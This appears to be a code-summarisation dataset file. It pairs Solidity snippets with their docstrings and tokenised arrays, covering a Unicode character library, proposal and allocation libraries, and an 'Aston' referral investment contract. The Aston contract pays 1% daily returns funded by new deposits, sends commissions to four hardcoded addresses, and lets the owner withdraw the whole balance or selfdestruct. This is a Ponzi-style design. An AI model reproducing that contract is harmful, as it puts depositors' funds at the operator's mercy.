function isTitlecase(string calldata _char) public view returns (bool) {
Character memory char = get(_char);
return char.category == "Lt";
}
/// @notice Check if `_char` is cased
/// @dev This is only for a single Unicode character not entire strings
/// @param _char the character to get
/// @return True if the character is cased
function isCased(string calldata _char) public view returns (bool) {
return isLowercase(_char) || isUppercase(_char) || isTitlecase(_char);
}
/// @notice Check if `_char` is a letter
/// @dev This is only for a single Unicode character not entire strings
/// @param _char the character to get
/// @return True if the character is a letter
function isLetter(string calldata _char) public view returns (bool) {
Character memory char = get(_char);
return char.category[0] == "L";
}
/// @notice Check if `_char` is a alphabetic
/// @dev This is only for a single Unicode character not entire strings
/// @param _char the character to get
/// @return True if the character is a alphabetic
function isAlphabetic(string calldata _char) external view returns (bool) {
Character memory char = get(_char);
return isLetter(_char) || char.category == "Nl";
}
/// @notice Check if `_char` is a number
/// @dev This is only for a single Unicode character not entire strings
/// @param _char the character to get
/// @return True if the character is a number
function isNumber(string calldata _char) public view returns (bool) {
Character memory char = get(_char);
return char.category[0] == "N";
}
/// @notice Check if `_char` is a alphanumeric
/// @dev This is only for a single Unicode character not entire strings
/// @param _char the character to get
/// @return True if the character is a alphanumeric
function isAlphanumeric(string calldata _char) external view returns (bool) {
return isLetter(_char) || isNumber(_char);
}
/// @notice Check if `_char` is a mathematic symbol
/// @dev This is only for a single Unicode character not entire strings
/// @param _char the character to get
/// @return True if the character is a mathematic symbol
function isMath(string calldata _char) external view returns (bool) {
Character memory char = get(_char);
return char.category == "Sm";
}
/// @notice Check if `_char` is a symbol
/// @dev This is only for a single Unicode character not entire strings
/// @param _char the character to get
/// @return True if the character is a symbol
function isSymbol(string calldata _char) external view returns (bool) {
Character memory char = get(_char);
return char.category[0] == "S";
}
/// @notice Check if `_char` is a mark
/// @dev This is only for a single Unicode character not entire strings
/// @param _char the character to get
/// @return True if the character is a mark
function isMark(string calldata _char) external view returns (bool) {
Character memory char = get(_char);
return char.category[0] == "M";
}
/// @notice Check if `_char` is punctuation
/// @dev This is only for a single Unicode character not entire strings
/// @param _char the character to get
/// @return True if the character is punctuation
function isPunctuation(string calldata _char) external view returns (bool) {
Character memory char = get(_char);
return char.category[0] == "P";
}
/// @notice Check if `_char` is a separator (whitespace)
/// @dev This is only for a single Unicode character not entire strings
/// @param _char the character to get
/// @return True if the character is a separator (whitespace)
function isSeparator(string calldata _char) external view returns (bool) {
Character memory char = get(_char);
return char.category[0] == "Z";
}
/// @notice Check if `_char` is in the 'Other' category
/// @dev This is only for a single Unicode character not entire strings
/// @param _char the character to get
/// @return True if the character is in the 'Other' category
function isOther(string calldata _char) external view returns (bool) {
Character memory char = get(_char);
return char.category[0] == "C";
}
}
| @notice Get the numeric type for `_char` @dev This does not handle derived numeric types from the Unicode Han Database. Contributions to fix this are welcome! https://www.unicode.org/Public/UNIDATA/extracted/DerivedNumericType.txt @param _char the character to get @return The numeric type for the character | function numericType(string calldata _char)
external
view
returns (NumericType)
{
Character memory char = get(_char);
bool hasDecimal = !isNaN(char.decimal);
bool hasDigit = !isNaN(char.digit);
bool hasNumeric = !isNaN(char.numeric);
if (hasDecimal && hasDigit && hasNumeric) return NumericType.DECIMAL;
if (hasDigit && hasNumeric) return NumericType.DIGIT;
if (hasNumeric) return NumericType.NUMERIC;
return NumericType.NONE;
}
| 953,380 | [
1,
967,
326,
6389,
618,
364,
1375,
67,
3001,
68,
225,
1220,
1552,
486,
1640,
10379,
6389,
1953,
628,
326,
9633,
670,
304,
5130,
18,
735,
15326,
358,
2917,
333,
854,
28329,
5,
2333,
2207,
5591,
18,
9124,
18,
3341,
19,
4782,
19,
2124,
734,
3706,
19,
8004,
329,
19,
21007,
9902,
559,
18,
5830,
225,
389,
3001,
326,
3351,
358,
336,
327,
1021,
6389,
618,
364,
326,
3351,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
6389,
559,
12,
1080,
745,
892,
389,
3001,
13,
203,
565,
3903,
203,
565,
1476,
203,
565,
1135,
261,
9902,
559,
13,
203,
225,
288,
203,
565,
6577,
3778,
1149,
273,
336,
24899,
3001,
1769,
203,
203,
565,
1426,
711,
5749,
273,
401,
291,
21172,
12,
3001,
18,
12586,
1769,
203,
565,
1426,
711,
10907,
273,
401,
291,
21172,
12,
3001,
18,
11052,
1769,
203,
565,
1426,
711,
9902,
273,
401,
291,
21172,
12,
3001,
18,
5246,
1769,
203,
203,
565,
309,
261,
5332,
5749,
597,
711,
10907,
597,
711,
9902,
13,
327,
16980,
559,
18,
23816,
31,
203,
565,
309,
261,
5332,
10907,
597,
711,
9902,
13,
327,
16980,
559,
18,
21243,
1285,
31,
203,
565,
309,
261,
5332,
9902,
13,
327,
16980,
559,
18,
22998,
31,
203,
203,
565,
327,
16980,
559,
18,
9826,
31,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2020-06-12
*/
pragma solidity ^0.6.1;
//Library for safe math
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
//Mian Business contract is drived from owner contract
contract Aston{
address payable public owner;// owner address
// for partners to share commission
address payable creator1;
address payable creator2;
address payable creator3;
address payable creator4;
// owner contract modifier
using SafeMath for uint256;
uint256 commission;
string public session;
//struct for user
struct user
{
bool isExist; //for user existance
bool isRecomended; //for checking is Recommended or not
uint256 earning; //earnings from investments
uint256 id; // user id
uint256 recomendation; //for recomendation counter
uint256 creationTime; //creationTime counter
uint256 total_Days; //total_Days counter
uint256 total_Amount; //total_Amount counter earnings
uint256 level; //level counter // ref_Income earn by levels
uint256 referBy; //refferer address
bool expirePeriod; //session expired
uint256 visit; //number of customer invested in this program
uint256 ref_Income;
address[] reffrals; //number of reffrals by You
uint256 total_Withdraw;
}
user[] userList;
uint256 cuurUserID=0;//List of all users
//mappings
mapping(address=>user)public users; //enter address to get user
mapping(address=>address payable)public recomendators;//number of people come through one person
mapping(address=>uint256)public invested; //how much user invested
mapping(address=>bool)public isInvested; //check user invested or not
mapping(uint256=>address payable)public userAddress; //enter use id and get address
//Events
// for registration
//for Recommend event
event Recommend(address _user,address _refference,uint256 referBy);
// For WithDrawl event
event WithDrawl(address user,uint256 earning);
//constructor
constructor() payable public{
owner=msg.sender;
creator1=0xF161abA3a2cc544133C41d28D35c6d20B7f5754B;
creator2=0x77dC753d9c15Fae33eC91422342130D79ff3F84b;
creator3=0xf242aA1C641591DDe68c598A3C9eAa285794ae80;
creator4=0xa5a625D3CC186Fa68aa4EeCa7D29b1b6154f4201;
cuurUserID++;
user memory obj =user({isExist:true,earning:0,recomendation:0,creationTime:0,total_Days:0,isRecomended:false,id:cuurUserID,
total_Amount:0,level:0,referBy:0,expirePeriod:false,visit:1,ref_Income:0,total_Withdraw:0,reffrals:new address[](0)});
userList.push(obj);
users[msg.sender]= obj;
userAddress[cuurUserID]=msg.sender;
isInvested[msg.sender]=true;
}
//modifier
modifier onlyOwner(){
require(msg.sender==owner,"only owner can run this");
_;
}
modifier onlyFirst(uint256 _refference){ //for Recommend functions
address a=userAddress[_refference];
require(users[a].isExist==true); //to check reference should exist before
require(a!=msg.sender); //to check investor should not be refferer
require(users[msg.sender].isExist==false);
_;
}
modifier reinvest(){
user memory obj=users[msg.sender];
require(obj.visit>0,"visit should be above 0");
require(obj.earning==0,"You have to withdraw all your money");
bool u=false;
if(msg.value==0.25 ether || msg.value==0.50 ether && users[msg.sender].visit==1){
u=true;
}
if(msg.value==0.25 ether || msg.value==0.50 ether||msg.value==0.75 ether&& users[msg.sender].visit>1){
u=true;
}
require(u==true,"you have to enter right amount");
_;
}
function Reinvest()public payable reinvest returns(bool){
require(users[msg.sender].expirePeriod==true,"your session should be new");
require(isInvested[msg.sender]==false); //investor should not invested before
invested[msg.sender]= msg.value;
isInvested[msg.sender]=true;
users[msg.sender].creationTime=now;
users[msg.sender].expirePeriod=false;
users[msg.sender].visit+=1;
users[msg.sender].total_Withdraw=0;
return true;
}
//recommend function
function reffer(uint256 _refference)public payable onlyFirst(_refference) returns(bool){
require(msg.value==0.25 ether,"you are new one ans start with 0.25 ether");
require(users[msg.sender].visit==0,"you are already investor");
cuurUserID++;
userAddress[cuurUserID]=msg.sender;
isInvested[msg.sender]=true;
invested[msg.sender]= msg.value;
user memory obj =user({isExist:true,earning:0,recomendation:0,creationTime:now,total_Days:0,isRecomended:true,id:cuurUserID,
total_Amount:0,level:0,referBy:_refference,expirePeriod:false,visit:1,ref_Income:0,total_Withdraw:0,reffrals:new address[](0)});
userList.push(obj);
users[msg.sender]= obj;
commission=(msg.value.mul(10)).div(100);
Creators(commission);
address payable a=userAddress[_refference];
recomendators[msg.sender]=a;
users[a].reffrals.push(msg.sender);
users[a].recomendation+=1;
if(users[a].level<1){
users[a].level=1;
}
emit Recommend(msg.sender,a,_refference);
return true;
}
// Add_daily_Income function
function daily_Income()public returns(bool){
uint256 d;
user memory obj=users[msg.sender];
uint256 t=obj.total_Days;
uint256 p=obj.total_Amount;
require(obj.expirePeriod==false,"your seesion has expired");
uint256 time=now - obj.creationTime;
uint256 daysCount=time.div(86400);
users[msg.sender].total_Days+=daysCount;
t+=daysCount;
require(isInvested[msg.sender]==true);
uint256 c=(invested[msg.sender].mul(1)).div(100);
d=c.mul(daysCount);
users[msg.sender].total_Amount+=d;
p+=d;
if(t>=401 || p>=invested[msg.sender].mul(4)){
// users[msg.sender].expirePeriod=true;
session = session_Expire();
return true;
}
else{
users[msg.sender].earning+=d;
// assert(obj.total_Amount<=invested[msg.sender].mul(4));
if(obj.isRecomended==true){
user memory obj1;
address payable m=recomendators[msg.sender];
obj1= users[m];
if(obj1.expirePeriod==false){
users[m].earning+=d;
users[m].total_Amount+=d;
users[m].ref_Income+=d;}
if(obj1.isRecomended==true){
uint256 f=(d.mul(10)).div(100);
uint256 depth=1;
down_Income(m,depth,f);
}
}
if(daysCount>0){
users[msg.sender].creationTime=now;
}
}
return true;
}
//distribute function
function down_Income(address payable add,uint256 _depth,uint256 _f)private returns (bool){
_depth++;
if(_depth>10){
return true;
}
user memory obj1=users[add];
if(obj1.isRecomended==true){
address payable add1=recomendators[add];
user memory obj2=users[add1];
if(obj2.recomendation>=_depth){
if(obj2.expirePeriod==false){
users[add1].earning+=_f;
users[add1].total_Amount+=_f;
users[add1].ref_Income+=_f;}
if(obj2.level<_depth){
users[add1].level=_depth;
}
}
down_Income(add1,_depth,_f);
}
return true;
}
//withDrawl function
function withDraw(uint256 _value)public payable returns(string memory){
address payable r=msg.sender;
user memory obj=users[r];
require(obj.earning>=_value,"you are trying to withdraw amount higher than your earnings");
require(obj.earning>0,"your earning is 0");
require(address(this).balance>_value,"contract has less amount");
require(obj.total_Withdraw<invested[msg.sender].mul(4) ,"you are already withdraw all amount");
if(obj.earning.add(obj.total_Withdraw)>invested[msg.sender].mul(4)){
uint256 h=obj.earning;
uint256 x=(invested[msg.sender].mul(4)).sub(obj.total_Withdraw);
uint256 a=obj.earning.sub(x);
h=h.sub(a);
r.transfer(h);
users[msg.sender].earning=0;
users[msg.sender].total_Withdraw=obj.total_Withdraw.add(h);
// users[msg.sender].expirePeriod=true;
session=session_Expire();
return "you have WithDraw all your profit";
}
else{
users[msg.sender].total_Withdraw=obj.total_Withdraw.add(_value);
users[msg.sender].earning=obj.earning.sub(_value);
r.transfer(_value);
return "you have succesfully WithDrawl your money";
}
}
receive () external payable{
}
// private functions
// expire function
function session_Expire()private returns(string memory){ //to invest again you have to expire first
users[msg.sender].total_Days=0;
users[msg.sender].total_Amount=0;
users[msg.sender].expirePeriod=true;
users[msg.sender].ref_Income=0;
isInvested[msg.sender]=false;
return "your session has expired";
}
// forCreators function
function Creators(uint256 _value)private returns(bool ){
uint256 p=_value.div(4);
creator1.transfer(p);
creator2.transfer(p);
creator3.transfer(p);
creator4.transfer(p);
return true;
}
//Owner functions
function changeOwnership(address payable newOwner)public onlyOwner returns(bool){
owner=newOwner;
return true;
}
function owner_fund()public payable onlyOwner returns (bool){
owner.transfer(address(this).balance);
return true;
}
function get_Tree(address wallet)public view returns(address[] memory){
user memory obj=users[wallet];
return obj.reffrals;
}
function change_creator(address payable _newAddress,address _oldAddress)public onlyOwner returns(string memory){
if(creator1==_oldAddress){
creator1=_newAddress;
}
else if(creator2==_oldAddress){
creator2=_newAddress;
}
else if(creator3==_oldAddress){
creator3=_newAddress;
}
else if(creator4==_oldAddress){
creator4=_newAddress;
}
else{
return "your address does not found";
}
return "your address succesfuly changed";
}
function close() public payable onlyOwner { //onlyOwner is custom modifier
selfdestruct(owner); // `owner` is the owners address
}
function owner_withdraw()public payable onlyOwner returns (bool){
user memory obj=users[owner];
require(obj.earning>0,"your earnings are less than 0");
owner.transfer(obj.earning);
users[owner].earning=0;
return true;
}
} | `owner` is the owners address
| selfdestruct(owner); | 7,773,614 | [
1,
68,
8443,
68,
353,
326,
25937,
1758,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
365,
5489,
8813,
12,
8443,
1769,
282,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.18;
pragma experimental ABIEncoderV2;
/// @title Utility functions
/// @author Giovanni Rescinito
/// @notice math utilities and sorting functions
library Utils {
//Constants
uint constant public C = 10**6; // constant used to scale value
//Data Structures
/// @notice container used to maintain agent id and score together
struct Element {
uint id; // agent id
uint value; // score
}
//Events
event ClustersAssignmentsGenerated(uint[][] assignments);
event AssignmentGenerated(uint[] assignments);
event PartitionsGenerated(uint[][] partition);
event AlgorithmInfo(uint nWinners, uint matrixSizes, uint nPartitions);
event ScoreMatrixConstructed(uint[][] scoreMatrix);
event QuotasCalculated(uint[] quotas);
event Winners(Element[] winners);
//Math functions
/// @notice returns the smallest integer value that is bigger than or equal to a number, using scaling by C
/// @param x the value to be rounded
/// @return the rounded value
function ceil(uint x) view public returns (uint){
return ((x + C - 1) / C) * C;
}
/// @notice returns the largest integer value that is less than or equal to a number, using scaling by C
/// @param x the value to be rounded
/// @return the rounded value
function floor(uint x) view public returns (uint){
return (x/C)*C;
}
/// @notice returns the nearest integer to a number, using scaling by C
/// @param x the value to be rounded
/// @return the rounded value
function round(uint x) view public returns (uint){
if (x-floor(x) < C/2){
return floor(x);
}else{
return ceil(x);
}
}
/// @notice produces a range of n values, from 0 to n-1
/// @param upper the number values to produce
/// @return a list of integer values, from 0 to upper-1
function range(uint upper) public returns (uint[] memory) {
uint[] memory a = new uint[](upper);
for (uint i=0;i<upper;i++){
a[i] = i;
}
return a;
}
//Sorting functions
/// @notice sorts a list of values in ascending order
/// @param data the list of values to order
/// @return the ordered values with the corresponding ordered indices
/// base implementation provided by https://gist.github.com/subhodi/b3b86cc13ad2636420963e692a4d896f
function sort(uint[] memory data) public returns(Element[] memory) {
Element[] memory dataElements = new Element[](data.length);
for (uint i=0; i<data.length; i++){
dataElements[i] = Element(i, data[i]);
}
quickSort(dataElements, int(0), int(dataElements.length - 1));
return dataElements;
}
/// @notice implements sorting using quicksort algorithm
/// @param arr the list of elements to order
/// @param left the starting index of the subset of values ordered
/// @param right the final index of the subset of values ordered
/// base implementation provided by https://gist.github.com/subhodi/b3b86cc13ad2636420963e692a4d896f
function quickSort(Element[] memory arr, int left, int right) internal{
int i = left;
int j = right;
if(i==j) return;
uint pivot = arr[uint(left + (right - left) / 2)].value;
while (i <= j) {
while (arr[uint(i)].value < pivot) i++;
while (pivot < arr[uint(j)].value) j--;
if (i <= j) {
(arr[uint(i)], arr[uint(j)]) = (arr[uint(j)], arr[uint(i)]);
i++;
j--;
}
}
if (left < j)
quickSort(arr, left, j);
if (i < right)
quickSort(arr, i, right);
}
}
/// @title Set containing proposals
/// @author Giovanni Rescinito
/// @notice proposals submitted by agents, along with the corresponding assignment and commitment
library Proposals{
//Data Structures
/// @notice Data structure related to a single proposal
struct Proposal {
bytes work; // work submitted
uint[] assignment; // assignment associated to the proposal
bytes32 commitment; // commitment associated to the proposal
uint[] evaluations; // evaluations associated to the proposal
}
/// @notice Set data structure containing proposals
struct Set {
Proposal[] elements; // list of the proposals submitted
mapping (bytes32 => uint) idx; // maps the proposal to the index in the list
}
//Events
event ProposalSubmitted(bytes32 hashed);
event ProposalsUpdate(Proposal[] e);
event Committed(uint tokenId, bytes32 commitment);
event Revealed(bytes32 commitment,uint randomness, uint[] assignments, uint[] evaluations, uint tokenId);
/// @notice checks that the index corresponds to an existing value in the set
/// @param s the set to check
/// @param index the index to check
modifier checkIndex(Set storage s, uint index) {
require(index >= 0 && index < s.elements.length, "Set out of bounds");
_;
}
//Utility
/// @notice returns the number of proposals submitted
/// @param s set containing proposals
/// @return the length of the list contained in the set
function length(Set storage s) public returns (uint) {
return s.elements.length;
}
/// @notice hashes the work submitted to obtain the index of the set
/// @param work the work to be hashed
/// @return the keccak256 hash of the work
function encodeWork(bytes memory work) public returns (bytes32){
return keccak256(abi.encodePacked(work));
}
//Setters
/// @notice stores a proposal in the set
/// @param s set containing proposals
/// @param work the work submitted
/// @return the proposal created from the work
function propose(Set storage s, bytes memory work) public returns (Proposal memory){
bytes32 h = encodeWork(work);
uint index = s.idx[h];
require(index == 0, "Work already proposed");
Proposal memory p = Proposal(work,new uint[](0), 0x0,new uint[](0));
s.elements.push(p);
s.idx[h] = s.elements.length;
emit ProposalSubmitted(h);
return p;
}
/// @notice updates the assignment in the set given a specific index
/// @param s set containing proposals
/// @param index index in the list of elements of the set to update
/// @param assignment the assignment to be stored
function updateAssignment(Set storage s, uint index, uint[] memory assignment) public checkIndex(s, index) {
s.elements[index].assignment = assignment;
}
/// @notice stores the commitment in the proposal considered
/// @param s set containing proposals
/// @param tokenId token associated to the proposal for which the evaluations' commitment should be stored
/// @param com the commitment to save
function setCommitment(Set storage s, uint tokenId, bytes32 com) public checkIndex(s, tokenId - 1){
s.elements[tokenId - 1].commitment = com;
emit Committed(tokenId, com);
}
/// @notice stores the evaluations related to the proposal considered
/// @param s set containing proposals
/// @param tokenId token associated to the proposal for which the evaluations should be stored
/// @param assignments the assignment considered
/// @param evaluations the evaluations proposed
function setEvaluations(Set storage s, uint tokenId, uint[] memory assignments, uint[] memory evaluations) public checkIndex(s, tokenId - 1){
require(assignments.length == evaluations.length, "Incoherent dimensions between assignments and evaluations");
Proposal storage p = s.elements[tokenId - 1];
p.assignment = assignments;
p.evaluations = new uint[](assignments.length);
for (uint i=0; i<assignments.length;i++){
p.evaluations[i] = evaluations[i];
}
emit ProposalsUpdate(s.elements);
}
//Getters
/// @param s set containing proposals
/// @return the list of proposals stored in the set
function getProposals(Set storage s) public returns (Proposal[]memory) {
return s.elements;
}
/// @param p proposal considered
/// @return the assignment associated to the proposal
function getAssignment(Proposal memory p) public returns (uint[] memory) {
return p.assignment;
}
/// @param p proposal considered
/// @return the work associated to the proposal
function getWork(Proposal memory p) public returns (bytes memory) {
return p.work;
}
/// @param p proposal considered
/// @return the commitment associated to the proposal
function getCommitment(Proposal memory p) public returns (bytes32){
return p.commitment;
}
/// @param p proposal considered
/// @return the evaluations associated to the proposal
function getEvaluations(Proposal memory p) public returns (uint[] memory){
return p.evaluations;
}
/// @param s set containing proposals
/// @param p proposal considered
/// @return the index associated to the proposal
function getId(Set storage s, Proposal memory p) public returns (uint){
return s.idx[encodeWork(p.work)];
}
/// @param s set containing proposals
/// @param index the index in the list of proposals
/// @return the proposal associated to the index in the list
function getProposalAt(Set storage s, uint index) public checkIndex(s, index) returns (Proposal memory) {
return s.elements[index];
}
/// @param s set containing proposals
/// @param tokenId the token associated to the proposal
/// @return the proposal associated to the token provided
function getProposalByToken(Set storage s, uint tokenId) public returns (Proposal memory){
return getProposalAt(s, tokenId - 1);
}
}
/// @title Dictionary storing allocations
/// @author Giovanni Rescinito
/// @notice Data structure implemented as an iterable map, produced during the apportionment algorithm to store allocations
library Allocations {
//Data Structures
/// @notice Data structure related to a single allocation
struct Allocation {
uint[] shares; // winners per cluster
uint p; // probability of the allocation
}
/// @notice Dictionary containing allocations
struct Map {
Allocation[] elements; // list of allocations
mapping (bytes32 => uint) idx; // maps key to index in the list
}
//Events
event AllocationsGenerated (Allocation[] allocations);
event AllocationSelected(uint[] allocation);
//Setters
/// @notice creates a new allocation or updates the probability of an existing one
/// @param map dictionary containing allocations
/// @param a winners per cluster to insert/modify
/// @param p probability of the specific allocation
function setAllocation(Map storage map, uint[] memory a, uint p) public {
bytes32 h = keccak256(abi.encodePacked(a));
uint index = map.idx[h];
if (index == 0) {
map.elements.push(Allocation(a, p));
map.idx[h] = map.elements.length;
}else {
map.elements[index - 1].p = p;
}
}
/// @notice updates the winners per cluster of an allocation specified by its index
/// @param map dictionary containing allocations
/// @param index index of the allocation to modify
/// @param shares winners per cluster to update
function updateShares(Map storage map, Allocation memory a, uint[] memory shares) public {
bytes32 h = keccak256(abi.encodePacked(a.shares));
uint index = map.idx[h];
require(index != 0, "Allocation not present");
map.elements[index - 1].shares = shares;
}
//Getters
/// @param map dictionary containing allocations
/// @return the list of allocations stored
function getAllocations(Map storage map) public returns (Allocation[]memory) {
return map.elements;
}
/// @param a allocation for which the probability is required
/// @return the probability associated to the allocation
function getP(Allocation memory a) public returns (uint) {
return a.p;
}
/// @param a allocation for which the winners per cluster are required
/// @return the winners per cluster associated to the allocation
function getShares(Allocation memory a) public returns (uint[] memory) {
return a.shares;
}
/// @param map dictionary containing allocations
/// @param index allocation for which the probability is required
/// @return the allocation stored at a specified index
function getAllocationAt(Map storage map, uint index) public returns (Allocation memory) {
require(index >= 0 && index < map.elements.length, "Map out of bounds");
return map.elements[index];
}
/// @param a allocation from which the winners per cluster are needed
/// @param index cluster to select
/// @return the number of winners in a specified allocation for a fixed cluster
function getValueInAllocation(Allocation memory a, uint index) public returns (uint) {
require(index >= 0 && index < a.shares.length, "Allocation out of bounds");
return a.shares[index];
}
} | @param s set containing proposals @param tokenId the token associated to the proposal @return the proposal associated to the token provided | function getProposalByToken(Set storage s, uint tokenId) public returns (Proposal memory){
return getProposalAt(s, tokenId - 1);
}
| 5,422,516 | [
1,
87,
444,
4191,
450,
22536,
225,
1147,
548,
326,
1147,
3627,
358,
326,
14708,
327,
326,
14708,
3627,
358,
326,
1147,
2112,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
